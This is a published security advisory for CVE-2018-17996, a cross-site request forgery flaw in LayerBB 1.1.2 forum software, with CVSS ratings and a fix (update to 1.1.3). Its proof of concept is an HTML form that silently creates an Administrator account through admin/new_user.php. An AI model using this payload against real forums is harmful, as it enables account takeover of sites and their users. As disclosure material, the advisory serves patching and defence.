LayerBB 1.1.2 Cross Site Request Forgery

2019.02.15
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery # Date: 10/4/2018 # Author: 0xB9 # Twitter: @0xB9Sec # Contact: 0xB9[at]pm.me # Software Link: https://forum.layerbb.com # Version: 1.1.2 # Tested on: Ubuntu 18.04 # CVE: CVE-2018-17996 1. Description: LayerBB is a free open-source forum software, the CSRF allows creating a admin user. 2. Proof of Concept: <!-- Create Admin User --> <html> <body> <form action="http://localhost/[path]/admin/new_user.php" method="POST"> <label for="username">Username</label> <input name="username" id="username" value="test" type="text"> <label for="password">Password</label> <input name="password" id="password" value="password123" type="password"> <label for="email">Email Address</label> <input name="email" id="email" value="test@localhost.co" type="text"> <label for="usergroup">Usergroup</label><br> <select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br> <input name="create" value="Create User" type="submit"> </form> </body> </html> <!-- Create Admin User End --> 3. Solution: Update to 1.1.3


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